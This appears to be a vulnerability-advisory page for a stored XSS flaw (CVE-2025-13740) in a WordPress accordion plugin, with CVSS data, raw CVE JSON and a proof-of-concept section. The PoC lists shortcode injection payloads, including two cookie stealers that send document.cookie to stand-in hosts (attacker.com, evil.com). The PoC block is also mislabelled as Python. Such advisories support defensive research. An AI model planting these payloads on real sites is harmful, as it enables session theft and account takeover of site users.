Security Vulnerability Report
中文
CVE-2025-13740 CVSS 6.4 MEDIUM

CVE-2025-13740

Published: 2025-12-15 04:15:37
Last Modified: 2026-04-15 00:35:42

Description

The Lightweight Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `lightweight-accordion` shortcode in all versions up to, and including, 1.5.20 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Lightweight Accordion插件 <= 1.5.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// WordPress Lightweight Accordion Plugin - Stored XSS PoC // CVE-2025-13740 // Requires Contributor+ role // Method 1: Via Shortcode in Post/Page Content [lightweight-accordion title='<script>alert("XSS by CVE-2025-13740")</script>'] // Method 2: Malicious Payload with Event Handler [lightweight-accordion title='" onmouseover="alert(document.domain)" x='] // Method 3: Image Tag Injection [lightweight-accordion title='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] // Method 4: Stored Cookie Stealer [lightweight-accordion title='<script>fetch("https://evil.com/log?cookie="+btoa(document.cookie))</script>'] // The malicious script executes when any user views the page containing the shortcode // Attacker can steal session cookies and perform account takeover

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13740", "sourceIdentifier": "[email protected]", "published": "2025-12-15T04:15:36.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Lightweight Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `lightweight-accordion` shortcode in all versions up to, and including, 1.5.20 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3413649/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f117f713-e2f1-4803-87f7-14b1576d823b?source=cve", "source": "[email protected]"}]}}